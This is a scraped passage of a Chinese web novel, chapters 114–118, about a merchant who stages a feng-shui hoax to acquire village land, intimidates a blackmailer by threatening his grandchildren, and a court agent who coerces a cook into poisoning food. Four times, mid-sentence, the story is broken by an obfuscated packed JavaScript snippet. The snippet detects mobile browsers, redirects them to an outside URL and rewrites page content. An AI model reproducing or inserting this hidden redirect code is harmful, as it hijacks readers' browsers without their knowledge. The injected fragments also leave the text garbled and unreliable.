“啪”的一声,一个妇人瘫软在地,周围的人赶紧将她扶起。酒馆内的气氛越发凝重。 “大师!”大孙庄的村长猛地站起身,“求您指条明路!这是我们凑的二百两银子,请您收下!” 他双手捧着个木托盘快步走来,里面堆满了碎银和铜钱,在昏暗的灯光下泛着冷冷的光。 玄童陀看都没看那托盘一眼,摆手笑道:“贫僧四海为家,碰都不碰这些俗气玩意。我说难办,不是想要你们的钱,而是解决这事需要大笔银两,没有几万两下不来。” “几、几万两?”村民们倒吸一口凉气,有人甚至直接瘫坐在地上。 玄童陀环视四周,正色道:“摆你们两个选择。要么卖地,找个有福气的贵人来压住这凶地。要么建庙,有佛祖保佑,自然无忧。” 他顿了顿,又补充道:“但这两条路都不好走。卖地你们舍不得,没了地怎么活?建庙更难,没个五万两根本不够,就你们这点家底,能凑出三千两就不错了。” 三个村长面面相觑,随后悄悄走到院子里商议。酒馆内的气氛越发压抑,有人开始低声啜泣,有人则愁眉不展地摇头叹气。 片刻后,大孙庄的村长回来了,他搓着手说道:“大师,其实眼下倒真有个机会,只是大家都有顾虑......” 他将工业特区征地的事情娓娓道来:“那特区给的补偿确实不少,但闹出许多恐怖传言,说什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498120|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么夺人魂魄的,我们这些百姓实在害怕啊。” 玄童陀听完,眼睛一亮,突然拍案而起:“哈哈哈,你们多虑了!这事好办,关键就在那座庙上。” 他目光炯炯地扫视众人:“你们是凡人,自然怕那些邪祟。但有了佛祖庇佑,还怕什么西方妖魔?将列祖列宗的牌位移到庙中,日夜有经文相伴,不仅你们平安,祖先也能得福。” 村民们眼前一亮,纷纷点头称是。有人激动地说:“对啊!有了庙,我们就不怕了!” “既然如此,我这就去找陈逸风要这笔布施!”玄童陀豪气干云地说道,转身就要往外走。 “大师且慢!”村民们急忙拦住他,“那陈逸风势力大得很,背后有洋人撑腰,不可莽撞啊!” “哈哈哈!”玄童陀仰天大笑,酒气喷薄而出,“贫僧四大皆空,还怕他不成?今日非要他布施这五万两不可!” 他的豪迈感染了在场的所有人。村民们纷纷站起来:“大师等等我们,我们一起去!” 一行人浩浩荡荡向望海城进发。沿途的行人纷纷驻足观望,很快就在城中引起了轰动。街道两旁挤满了看热闹的人,议论声此起彼伏。 “这是要搞事情啊?” “快看,那和尚走在最前面!” 玄童陀听着周围的议论,举起酒葫芦痛饮一口,高声喊道:“朝廷要建特区,我们不敢不从。老百姓总得混口饭吃,谁也别想把咱们往绝路上逼!” 此言一出,街上的百姓顿时沸腾起来。有人开始跟着喊:“对!百姓要活路!” 玄童陀趁热打铁:“今日我就要找陈逸风要五万两建庙钱!有了佛祖庇佑,还怕什么邪祟!” 村民们也跟着高喊:“对!我们要建庙!不答应就不走了!” 眼看着人群越聚越多,承禄府的衙役们赶来阻拦,却被汹涌的人潮吓得四散而逃。街道两旁的店铺纷纷关门,但窗户后面却挤满了看热闹的人。 第一百一十四章 这个亏我吃定了 此时陈逸风正在明月商行二楼的办公室里,听到外面的喧哗声后,他皱着眉头走到窗前。看到街上黑压压的人群,他的脸色瞬间变得铁青。 听下人说清来龙去脉,“混账!”他猛地推开窗户,冷冷地俯视着楼下的人群,“忘恩负义的东西!我送你们米面药材,恩将仇报是这个意思了?” 玄童陀双手合十:“阿弥陀佛,施主息怒。我等并非忘恩负义之徒,实在是走投无路,还望施主慈悲为怀。” 三个村子的百姓纷纷跪地:“让先生帮帮忙吧!” 看着楼下跪倒一片的百姓,陈逸风气得脸色发红,指着玄童陀怒吼:“太过分了!地脉变动关我什么事?凭什么让我来承担?” “陈先生!”玄童陀高声道,“地脉变动早在五六年前就开始了,与您无关。我们只求您发发慈悲,救这些百姓一命!” 长街之上,哭声四起。数千人齐声高呼:“求先生救命!” 陈逸风站在窗前,目光透过玻璃落在楼下黑压压的人群上。初春的寒风裹挟着细雨,将街道两旁的杨柳吹得东倒西歪,却吹不散那群村民的执着。 他们跪在雨中,衣衫早已湿透,却依旧不肯离去。有人在哭泣,有人在怒骂,更多的人在不停地磕头,砰砰作响的声音混杂着雨水拍打玻璃的声响,让人心烦意乱。 “这群人......”陈逸风眉头紧锁,指节无意识地敲击着窗框。 一旁的管事小心翼翼地开口:“老板,要不要让他们散了?这么跪着也不是办法。” 陈逸风没有回答,只是继续注视着窗外。前几日这些村民还死活不肯卖地,一个个像是要与土地共存亡似的。如今发现风水被破,又想用道德**的方式逼他出钱建庙。 五万两白银,说得轻巧。 “老板!”一个伙计匆匆跑上楼来,“又有几个村的人来了,现在外面至少有三四百人。” 陈逸风转过身,面色阴沉:“让他们跪着,我倒要看看,他们能跪到什么时候。” 话音刚落,楼下又传来一阵喧哗。 “陈老板!求您开恩啊!” “我们全村就指望这块地过活,现在成了死地,可怎么办啊!” “您要是不管,我们全村就要活活饿**!” 各种哭喊声此起彼伏,夹杂着不少难听的话。什么为富不仁、见死不救,甚至还有人说他是吸血鬼。 陈逸风的脸色越发难看。他走到书桌前坐下,端起茶杯抿了一口,茶已经凉了。 “把玄童陀请上来。”他突然说道。 不一会儿,玄童陀就被请到了楼上。这位德高望重的和尚浑身湿透,但眼神依旧清明。 “阿弥陀佛,”玄童陀双手合十,“施主,您......” “别叫我施主。”陈逸风打断他的话,“玄大师,你觉得我该怎么做?” 玄童陀叹了口气:“施主......陈老板,这些村民确实太过分了些。但他们也是走投无路,才会如此。” “走投无路?”陈逸风冷笑,“当初我要买地的时候,他们是什么态度?一个个趾高气扬,说什么祖宗传下来的地,死也不能卖。现在倒好,地成了死地,就想着让我出钱建庙。” “这世上哪有这样的道理?” 玄童陀还想说什么,却被陈逸风挥手打断。 “我知道你们要说什么。无非是因为我要建工业特区,所以就该负责到底。”陈逸风站起身,踱步到窗前,“但你们想错了,这点土地还真困不住我。” 他转过身,目光锐利:“告诉你们,这几天我已经有了新的计划。不用他们的地,我照样能把特区建起来。” “大不了我用海边的盐碱地,把特区分成几块,最后连成一片。反正我有的是钱,有的是时间。” 此话一出,玄童陀的脸色顿时变了。 楼下的村民们显然也听到了这番话,顿时炸开了锅。 “不行!” “你不能这样!” “那些地都是死地,种不出东西啊!” “你要是不管我们,我们就......” 陈逸风冷眼看着这一切,嘴角勾起一抹讥讽的笑。 就在这时,一个意想不到的变故发生了。 大孙庄的村长突然从怀里掏出一张泛黄的地契,高高举过头顶。 “陈先生!”他声音颤抖,“手里攥着房契。是我们错了,求先生收下,救我们全村啊!” 这一举动仿佛引发了连锁反应。其他村民也纷纷掏出地契,高举过头顶。 “求先生开恩!” “给我们一条活路吧!” “我们知错了......” 雨越下越大,但跪在地上的人群却越发壮大。甚至连路过的行人也停下脚步,指指点点。 “这位陈老板也太狠了吧?” “话可不能这么说,当初是村民们不愿意卖地。” “可现在地都成死地了......” 议论声此起彼伏,甚至连几个洋人也凑了过来,好奇地打量着这一幕。 玄童陀见状,连忙道:“施主,您就开恩吧。那帮人认栽服软了,您若是能收下这些地......” “收下?”陈逸风冷笑,“让我接盘是吧?” “不是这个意思......”玄童陀急忙解释,但话还没说完,就听见人群中有人高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498121|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊: “陈先生仁义无双,公侯万代!” 这声音立刻被其他人接过,很快整条街上都回荡着这样的呼声。就连那些看热闹的路人,也跟着喊了起来。 陈逸风站在窗前,看着这一幕,心中暗喜。 他等的就是这一刻。 “好!”他朗声道,“看在望海万民的面子上,这个亏我吃定了!” 他挥手示意伙计们出来收地契。 “你们的地,我按之前的价格买下。至于建庙......”他故意顿了顿,“我不给五万两,我给八万两!” 此言一出,全场震惊。 就连玄童陀也愣住了,不敢相信自己的耳朵。 陈逸风继续道:“我知道大家对工业特区有顾虑。那好,这座大庙就由我来建,保佑所有在特区工作的人。” “你们可以把名字都寄在庙里,现在应该能放心了吧?” 跪在地上的村民们激动得痛哭流涕,连连磕头。 “您就是我的救星啊!” “谢大人救命之恩!” “我们这就回去收拾东西,明天就搬!” 玄童陀双手合十,满脸感激:“施主菩萨心肠......” 陈逸风摆摆手,示意他不用多说。 等人群渐渐散去,管事凑上前来:“老板,您这是......” “怎么?心疼钱?”陈逸风笑道。 “不是,”管事摇头,“就是觉得,这八万两......” 陈逸风看着窗外渐渐放晴的天空,轻声道:“有些钱,看似是亏了,实则是赚了。” “这八万两银子花得值,不仅解决了土地问题,还收获了万民的称颂。更重要的是......”他转过身,“以后谁要是敢说我们工业特区克扣工人,欺压百姓,这座大庙就是最好的证明。” 管事恍然大悟:“老板高明!” 陈逸风摆摆手:“去准备契约吧,这事要快。” “对了,”他又补充道,“让人把那些喊得最欢的记下来,以后特区用工,优先考虑他们。” 管事答应一声,转身下楼去了。 陈逸风重新坐回椅子上,望着窗外的落日余晖,嘴角勾起一抹若有若无的笑意。 这个时代,有钱有势的人总会被人盯上。那些穷人觉得富人理应救济他们,仿佛这是天经地义的事情。若是不从,那些官僚势力就会趁机发难,给你扣上各种大帽子。 但他不一样。 他要让所有人知道,在这个时代,想要生存下去,光有钱还不够。 要学会借势,借力,借**。 这八万两银子,花得值。 第一百一十五章 你心虚了吧 “干!” 酒盅相碰,火辣的烈酒顺喉而下。 花厅内灯火通明,檀香袅袅。陈逸风与几位功臣围坐一堂,觥筹交错间,酒香四溢。青花瓷盘中摆着各色精致小菜,蒸腾的热气在灯光下氤氲成雾。 玄童陀、孙忠义作为主角,瑾周信、诸葛林和孟明蛇作陪,六人推杯换盏。酒过三巡,众人脸上都泛起了红晕。 “童陀啊,”诸葛林伸手拍着玄童陀的光头,醉意朦胧地说道,“记得你刚来时,还是个小和尚呢。这一晃,都三十多了。”说着,他又给玄童陀倒了一杯酒。 玄童陀接过酒杯,眼神中闪过一丝黯然:“若不是那些畜生屠了山下村庄,断了香火,我怕是还在寺里诵经念佛。”他仰头一饮而尽,喉结滚动,酒水顺着嘴角滑落。 “别提那些伤心事了。”孙忠义打圆场道,“现在不是挺好的吗?跟着先生,总比整日念经强。” 陈逸风看着玄童陀,嘴角微微上扬。这和尚可不简单,是青云峰上的天国老兵。当年因清军屠村断了香火,这才投身天**队。如今成了自己的得力干将,在这场风水大戏中更是功不可没。 酒桌上的气氛渐渐热络起来。瑾周信给大家讲起了最近的趣事:“你们是没见着,那些乡绅一听说风水眼的事,吓得脸都白了。” “可不是嘛,”孟明蛇接话道,“那天我去收地契,有个老头直接跪下来求我,说什么也要把地卖了。” 众人哄笑起来。陈逸风端着酒杯,目光在众人脸上扫过。什么风水眼,不过是提前布置的把戏。白日闻鬼声,是玄童陀的腹语术。口喷烈火、变幻色彩,都是江湖把戏罢了。 但这些把戏,却正中国人迷信的软肋。 “先生,”玄童陀放下酒杯,神色忽然严肃起来,“既然您早有妙计,为何还要用慕四那种人?那厮贪得无厌,早晚要出事。” 陈逸风夹起一块虾团,细细咀嚼着。灯光下,他的眼神深邃难测:“你可听过升米恩、斗米仇?送人一升米,感恩戴德。送人一斗米,反倒生出贪念。” 他放下筷子,继续道:“所以,要让百姓知道什么是恶,才能分辨善恶。要让他们尝过苦,才知道甜。慕四就是那个苦。” 屋内一时沉默。众人若有所思地点头。 “楚三爷应该到京城了吧?”陈逸风转向孙忠义,“给他报个喜讯,就说征地的事已经解决了。对了,上海和广州那边如何?” 孙忠义放下酒杯,面色凝重:“上海被湘军拿下了,李鸿章找了宁霜津。征地倒是顺利,就是不懂西学,现在各国商人都来献计,搞得乱七八糟。” “宁霜津?”陈逸风冷笑一声,“他再有钱,对洋人那套也是一窍不通。找西班牙、意大利这种工业弱国来指导,简直是笑话。” “广州那边更糟,”孙忠义脸色一沉,声音里带着怒意,“满人又在搞圈地那套。三天圈了六七千亩,就给张欠条。还破坏水渠,撒石头,就怕农民复耕。” “这群**!”诸葛林一拍桌子,酒水溅出杯沿,“湘军好歹给高价换地,这帮八旗狗都不把他们当人!” 正说着,门外传来脚步声。一名亲兵快步进来,躬身禀报:“先生,慕四在书房等您,说今日非见不可。” “这个时候?”瑾周信皱眉道,“莫不是又想耍什么花招?” “我去会会他。”陈逸风站起身,整了整衣襟,“你们继续喝。” 书房内,烛光摇曳。慕四倚在书案旁,面容在昏暗的光线下显得格外阴鸷。见陈逸风进来,他也没行礼,只是冷冷地盯着对方。 “慕四,这么晚找我何事?”陈逸风在太师椅上坐下。 “老爷,”慕四阴阳怪气地开口,“您这事办得**道啊。征地的买卖明明答应给我,您怎么自己收了?就这么不想让小的赚钱?” “慕四,”陈逸风眼神一冷,“你是不是忘了自己的身份?跪下!” “有钱赚你才是主子,没钱赚算什么...”慕四冷笑着,丝毫没有要跪的意思。 “跪下!”陈逸风一声怒喝。 两名护卫应声冲进来,一脚踹在慕四膝窝上。慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505260|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四闷哼一声,重重跪在地上。 慕四今日格外暴躁,两名护卫死死摁住他的肩膀,却依然压制不住这老头的疯狂挣扎。他那张饱经风霜的脸涨得通红,青筋暴起,一双浑浊的眼睛里闪烁着疯狂的光芒。 “陈逸风,你有种就杀了我!”慕四面目狰狞,口水飞溅,“我死在这,你那些见不得人的勾当就藏不住了,朝廷派人来要你全族陪葬!” 护卫们面面相觑,显然没见过这位平日里八面玲珑的慕四爷如此失态。陈逸风站在书房的红木案几前,手指轻轻敲击着桌面,面无表情地看着眼前这一幕。窗外的雨丝斜斜地飘落,将整个院子笼罩在一片朦胧中。 “老爷,要不要...”一名护卫欲言又止。 陈逸风抬手制止了他的话,目光始终没有离开慕四。这老东西今天反常得很,难道真摸到了什么把柄?他暗中思索,会是哪个秘密泄露了? 是我私下里收买的那帮官员和军队?还是琉球首里城里自己那个见不得光的宰相身份?又或者是新军的事情?每一个秘密都足以让他万劫不复。 雨声渐大,豆大的雨点敲打在窗棂上,发出密集的响声。书房里的气氛越发凝重。 “哈哈哈!”慕四突然大笑起来,笑声中带着几分癫狂,“陈逸风,你心虚了吧?是不是在猜我知道了什么?你心里藏着的龌龊事还真不少!” 他挣扎着想要直起身子,却被护卫压得更紧。慕四郎不以为意,反而露出一个阴冷的笑容:“老子外号胶皮糖,谁不知道我的后台是理事府?紫禁城就是我靠山,你竟敢不把我放在眼里,大清国就没你容身之地!” 陈逸风心中冷笑,这就是九门城里有名的无赖,耍无赖是他们的看家本领。他见过太多这样的人,仗着一点微末的权势就妄图要挟别人。 “好好好,慕四爷果然厉害,我服了。”陈逸风挥手示意,“放开四爷,请坐。” 护卫们松开手,慕四踉跄了几步,揉着发麻的肩膀坐到了茶几旁的太师椅上。他那双小眼睛滴溜溜转个不停,显然在盘算着什么。 第一百一十六章 王四莲找到兰姑娘 “这事没完,我这膀子差点断了,得赔我三千两。”慕四揉着肩膀,语气里带着几分得意,“还有买地的事,你搅黄了我的生意,我手下二十多口人等着吃饭呢...” “行了。”陈逸风不耐烦地打断他的絮叨,“你要多少?” “老爷敞亮!”慕四立刻换上一副谄媚的嘴脸,竖起大拇指,“二十万两,换我一个嘴严实。” “二十万?”陈逸风冷笑,“你连秘密是什么都不说,就要这么多?当我傻子?没有理由,一文钱都别想要。” 慕四眯起小眼睛,露出狡黠的神色:“这可是我的护身符,说早了你灭我口怎么办?不过...”他顿了顿,故意拉长了语调,“老爷听说过"阴兵借道"吗?望海最近闹得凶啊,穿蓝色制服、大皮靴的阴兵,真该让朝廷查查...” 陈逸风心头一震,终于明白破绽在哪了。虎贲营和羽林军的行踪竟然暴露了,这老狐狸是怎么发现的?他强压下心中的震惊,面上依然平静如水。 “来人,叫孙忠义过来。”陈逸风目露寒光,“慕四爷好像还没搞清楚状况。” 雨声中,脚步声由远及近。孙忠义很快进来,衣服上还带着雨水。他冷笑着扔给慕四一个纸袋,里面的东西随着动作发出轻微的响动。 老头迫不及待地打开一看,顿时脸色煞白——里面是他儿子和孙子的照片。照片上的场景很是温馨,他那读书的孙子正在一所西式学堂里认真听课。 “认得出来吗?”孙忠义冷冷道,“您孙子在我们庄子上学得可好呢,满京城找不出第二家这么好的西学堂...” 慕四浑身发抖,茶几被他的膝盖撞得咔咔作响。他突然暴起,想要和陈逸风拼命,却被早有准备的两名亲兵死死按住。 “你们这些畜生!”慕四声嘶力竭地吼道,“放开我!放开我!” 陈逸风慢条斯理地走到他面前,居高临下地看着这个已经完全崩溃的老人。窗外的雨声更大了,仿佛要把整个世界都淹没。 “现在你知道了我更多秘密,可这对你有什么好处?”陈逸风的声音里带着几分怜悯,“除了把自己和家人推入深渊,还能如何?” 慕四瘫软在地,裤裆一片湿润,这位九门城的大爷已经吓得失禁了。 “老爷饶命!”他不住地磕头,额头很快就磕出了血,“我糊涂了,都是财迷心窍,求您放过我儿孙...” 陈逸风厌恶地皱眉,后退了几步:“放了他吧,紫禁城那边还不是撕破脸的时候。只要他儿孙握在咱们掌中,这条老狗翻不了天。” “我一定效忠老爷,绝不背叛!”慕四连连磕头,“只求您别伤害我孙子...” 夜色中,慕四魂不守舍地离开了陈府。他的背影在雨中显得格外萧索,那曾经趾高气扬的姿态早已荡然无存。暗处,一双眼睛紧紧盯着他的背影。 “这老狗怎么突然蔫了?”那人躲在屋檐下,低声自语,“早上还嚣张得很,现在却像条丧家之犬...必须立即通知王爷。” 雨夜里,一个黑影快速穿过街巷,消失在茫茫夜色中。 当夜,王四莲连夜抄了四个狗腿子的家,逼问出兰姑娘的住处。行动迅速而无声,等到天边泛起鱼肚白时,一切都已经准备就绪。 黎明前的草头村,兰姑娘正和丈夫酣睡。突然一盆冷水泼来,她惊醒时发现丈夫和儿子已被捆在椅子上。房间里站着几个黑影,其中一个正用**抵着她儿子的脖子。 “娘...我害怕...”孩子哭泣的声音在黑暗中格外刺耳。 兰姑娘跪地求饶,声音颤抖:“大爷行行好,我们是穷人,您要钱没有,要色行不行...”她爬到那人脚边,不断蹭动。 王四莲站在院中,望着跪在地上瑟瑟发抖的兰姑娘,心中怒火翻涌。月光下,她那张精心打扮过的脸庞显得格外妖艳,却让他更加反感。 这女人果真如情报所说,不堪至极。自己还未开口,她便主动求饶,甚至提出以身相许。那谄媚的眼神和扭捏的姿态,让他胃里一阵翻腾。 “**!”王四莲一脚踢开地上的木桶,冷声喝道。木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505261|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桶翻倒,哗啦啦的水声惊得院中的野猫窜逃,更显夜色的寂静。 从小修**童子功的他,对这等不守妇道的女子深恶痛绝。或许正因无法近女色,才让他对女人充满了莫名的厌恶。每次看到这种轻贱自己的女人,他都恨不得立刻了结了她。 夜风吹过,带来一阵凉意。兰姑娘的身子抖得更厉害了,她偷偷瞥了眼被捆在一旁的丈夫和儿子,眼泪不住地往下掉。 “大爷饶命...我、我什么都说...”她的声音带着哭腔,“慕四前天给了我一封信和二百两银子,说若他失踪三天,就让我把信送给您,或是送去北京城给他儿子...” 王四莲眯起眼睛,一柄短刃直接钉入身旁的门框。“砰”的一声,刀柄还在微微颤动。 “信在哪?”他冷冷地问。 兰姑娘被这一手吓得魂不附体,连忙道:“在...在炕柜里...” 王四莲大步走向炕柜,很快找到了那封信。屋内的油灯昏暗,他正要打开时,兰姑娘又颤声开口:“还有...慕四给了我一包药,说是要我下到梁小姐的饭菜里...” “哦?”王四莲转身看向她,“拿来。” 兰姑娘从衣襟中掏出一个纸包,那是一种能让女人绝育的**。她双手颤抖着递过去,生怕碰到对方的手指。 “你倒是有几分良心,没有下手。”王四莲冷笑一声,随即拆开了信件。油灯的火苗跳动,在他脸上投下忽明忽暗的阴影。 待看完信中内容,他的脸色瞬间阴沉如水。 “好个陈逸风,竟敢私练洋人军队!”王四莲咬牙切齿,“这是要**啊!” 他一把揪住兰姑娘的头发:“听着,现在就拿着这**,去对付陈逸风的女人。若敢违抗,你全家都得死!” 兰姑娘痛得直抽气,却不敢挣扎,只能连连点头。她的丈夫在一旁发出呜呜的声音,却被堵住了嘴说不出话。 留下这句话,王四莲便消失在夜色中。他的身影如鬼魅般融入黑暗,只留下满院的恐惧与绝望。 第一百一十七章 密谋与背叛 一路疾行,王四莲心中思绪翻涌。 该如何处置这件事?最稳妥的做法自然是立即返回京城禀报朝廷,可那时机已经太晚。他停在一处屋檐下,目光扫过远处灯火通明的明月商行。 慕四昨夜仓皇离开陈府,显然敲诈计划已经失败。以陈逸风的手段,这几日必定会抹去所有痕迹。等朝廷派兵到时,恐怕什么都查不到了。 “必须立刻行动!”王四莲攥紧拳头,可随即又陷入两难,“我手下只有十几个高手,连明月商行的护卫都对付不了,更别说那支西式军队...” 他快步向承禄府赶去。如今望海城的绿营军一盘散沙,只能寄希望于同知沈明泰了。虽然此人早已被陈逸风收买,但这可是谋反大案,他应该不敢包庇。 一路上,王四莲的脚步声回荡在空旷的街道上。偶尔有巡夜的更夫打着灯笼经过,看到他的身影都会躲得远远的。 天色微明时,王四莲已潜入承禄府。晨露打湿了他的衣衫,但他浑然不觉。他轻车熟路地来到后院,正巧看见沈明泰在练太极剑。 沈明泰的剑法中规中矩,显然是个只会花架子的文官。看着他那优雅的姿态,王四莲心中更是不屑。这种人,最容易被金钱收买。 等沈明泰收剑入书房用早膳时,王四莲已经坐在了他的座位上。书房内香炉袅袅,一副“风调雨顺”的字画挂在墙上,倒是好不惬意。 “大胆!”沈明泰刚要喊人,王四莲便亮出了腰牌。 “乾清宫四品带刀侍卫”几个字让沈明泰顿时噤若寒蝉。他的脸色瞬间变得惨白,额头渗出细密的汗珠。 “沈大人,这是兵部秘旨,请过目。”王四莲递上一封信件,语气平淡中带着不容置疑。 沈明泰接过一看,只见上面不仅有兵部大印,还有议政衙门印信和裕王胤禛的私章。秘旨授权持有者可调动三千人以下军队,三品以下官员必须配合。 “下官参见钦使大人!”沈明泰连忙施礼,那副谄媚的样子让王四莲更加厌恶。 “坐吧。”王四莲淡淡道,“我今日来,是为陈逸风一案。沈大人若能相助,升官指日可待。” 沈明泰额头的汗珠越来越多,顺着脸颊滑落。他偷偷打量着王四莲的神色,心中已是惊涛骇浪。 “大人有何吩咐?”他小心翼翼地问道。 “你我都清楚,陈逸风给了你不少好处。但那些贪墨的事,我可以保证朝廷既往不咎。现在摆在你面前的,是立功的大好机会。” 王四莲眯起眼睛:“当然,若你执意包庇叛逆,那就是诛九族的大罪了。” 沈明泰浑身发抖,茶杯都拿不稳了:“下官定当全力配合!只是...我们这点人手,恐怕...” “富贵险中求!”王四莲一拍桌子,茶水溅出杯外,“若让陈逸风逃去海外,这天大的功劳可就飞了!” 书房内一时寂静,只有香炉中的香烟袅袅上升。沈明泰额头的汗水已经打湿了衣领,他知道自己已经没有退路了。 “下官这就去调兵!”他站起身来,声音都在发颤,“只是...只是还请大人给下官一点时间准备...” 王四莲冷冷地看着他:“天亮之前,我要见到三百精兵。若有半点差池,你知道后果。” 沈明泰连连点头,几乎是踉跄着走出了书房。看着他慌乱的背影,王四莲不禁摇头,这种软骨头,也只能用来当枪使了。 与此同时,陈府内气氛凝重。 高墙深院,戒备森严。门口的护卫神情肃穆,连只飞鸟都不敢轻易落在院墙上。陈逸风正在书房召集手下精英开会,商讨对策。 “诸位。”他的声音沉稳有力,目光扫过在座每一个人,“我有个坏消息要宣布——我们虎贲营和羽林军潜入望海的情报已经泄露了。” 此言一出,满堂哗然。众人面面相觑,不敢相信自己的耳朵。 “这怎么可能?”孙副官第一个站了起来,“两支队伍都在子时后悄然而至,连当地百姓都没发现,怎么会暴露?” 孟明蛇捋了捋胡须,缓缓道:“根据调查,是南城一位更夫偶然间瞧见的。他散布了"阴兵借道"的传言。” 屋内一片寂静,只有窗外的风声轻轻掠过。 “问题是,慕四郎是怎么把这两件事联系起来的?”陈逸风的手指轻叩桌面,“除了洋人,谁会知道新军的存在?” 众人陷入沉思。确实,新军的存在是绝密,就连朝廷都不知晓。慕四郎一个地方官员,怎么会对此有所察觉? 陈逸风环视四周,这些都是他的得力干将。正是因为有他们的不懈努力,自己的事业才能一步步发展。 就在前天,孙忠义带来了最新情报:北境献县已被彻底掌控。除了三个顽固分子被处理外,其余官员都写了血书效忠。 短短一年时间,他已经在北境暗中控制了十个县。按这个势头发展下去,再过一年多,整个北境九成以上的县都会落入他的掌控之中。 他的地下王国终于有了根基。 正当众人讨论对策时,门外突然传来急促的脚步声。迈克和洛根闯了进来,两人的表情都很不自然。 “陈,我们听说你遇到麻烦了。”迈克喘着粗气说,“我们突然想起一件事。” 洛根将一个资料夹放在众人面前,脸上写满愧疚:“肖,你还记得下雪那天吗?你派管家来送请柬时,他好像看到了我珍藏的照片和素描......” 众人凑上前一看,恍然大悟。照片和素描上清晰地展示了新军的队列行进、火枪射击等场景。 如果慕四郎事先听说了“阴兵借道”的传言,很容易就能将两者联系起来。 “对不起,陈。”洛根懊悔不已,“我太不专业了,作为一名武官,怎么能随意放置机密资料......” 陈逸风正要安慰两位好友,门外突然传来一声凄厉的女声:“老爷!呜呜呜......老爷,大事不好了......” “是川儿?”陈逸风一惊,立即起身。这不是跟暖柔、绎芳一起来的丫鬟川儿吗?平日里最伶俐贤惠的姑娘,咋嗓音完全不对劲了? 他带着众人冲出屋子,只见川儿浑身发抖地靠在月亮门边,泪如雨下。 “老爷啊,琥珀妹妹......您快去看看琥珀妹妹吧......琥珀妹妹要不行了,呜呜呜......” 陈逸风二话不说,直奔后宅。穿过花园长廊,进入内宅,才发现整个内宅已经乱成一团。 第一百一十八章 毒汤引发的祸端 陈逸风掀开帘子冲进去,只见琥珀斜靠在床上,两腿间塞满棉花和纱布,鲜血已经染红一大片。 “这是怎么回事?怎么大出血了?莫非是流产了?”他脱口而出。 此言一出,琥珀差点晕过去:“我......我是黄花大闺女,我的躯体是纯洁的,老爷你不能......不能冤枉我......” 暖柔彻也急了:“呜呜呜......咱们地位虽然卑微,可我们的躯体不低微......咱们都是清清白白的......” 屋内哭声一片。外头的汉子们听完都傻眼了,瑾周信和孙忠义等人交换了一个心照不宣的眼神。 “都给我闭嘴!”陈逸风气急败坏地吼道,“先把事情说清楚,这到底是怎么回事?” 绎芳抹着眼泪,断断续续地说道:“是......是琥珀妹妹嘴馋,喝了给梁小姐做的汤,不知为何,就这样了” “汤?”陈逸风皱眉,“什么汤” “厨房做的翡翠虾丸汤”绎芳咬了咬嘴唇,“是……是厨房的兰姑娘做的” 时间回到一个时辰前。 暮色渐沉,陈府后门外的青石板路上,兰姑娘拖着疲惫的身子缓缓前行。她脸上还带着王四莲暴打的伤痕,每走一步都牵动着全身的疼痛。 冷风吹过,她下意识地裹紧了单薄的衣衫,手却始终紧紧攥着怀中那个小纸包。那是王四莲给她的毒药,要她今晚下在梁姑娘的汤里。 兰姑娘停下脚步,望着眼前高大的府邸,喉咙发紧。她在这里当了三年的厨娘,从未想过有朝一日会沦落到这般境地。 慕四打她,她忍了。王四莲打她,她也忍了。可现在要她去害人性命,这让一个普通妇人如何承受得住? 但她真的别无选择。 陈家后院的灯火已经亮起,厨房里传来阵阵忙碌声响。兰姑娘深吸一口气,低着头走了进去。 “哎呀,兰姑娘,你可算来了!”川儿的声音突然在耳边响起,“梁小姐想尝鲜虾配翠绿蔬菜煲的汤,你赶紧准备。老爷今晚还要赐宴,时间紧得很!” 兰姑娘机械地点点头,默默走向自己的案板。四个大小厨房里人声鼎沸,光是掌勺的大师傅就有十位之多。各路厨子加上打杂的下人,足有六七十号人在忙碌。 川儿在人群中来回穿梭,指挥若定。这位教坊司出身的大丫鬟,不愧是管家的好手。只见她一会儿在灶台前查看火候,一会儿又去库房清点食材,动作干练,目光如炬。 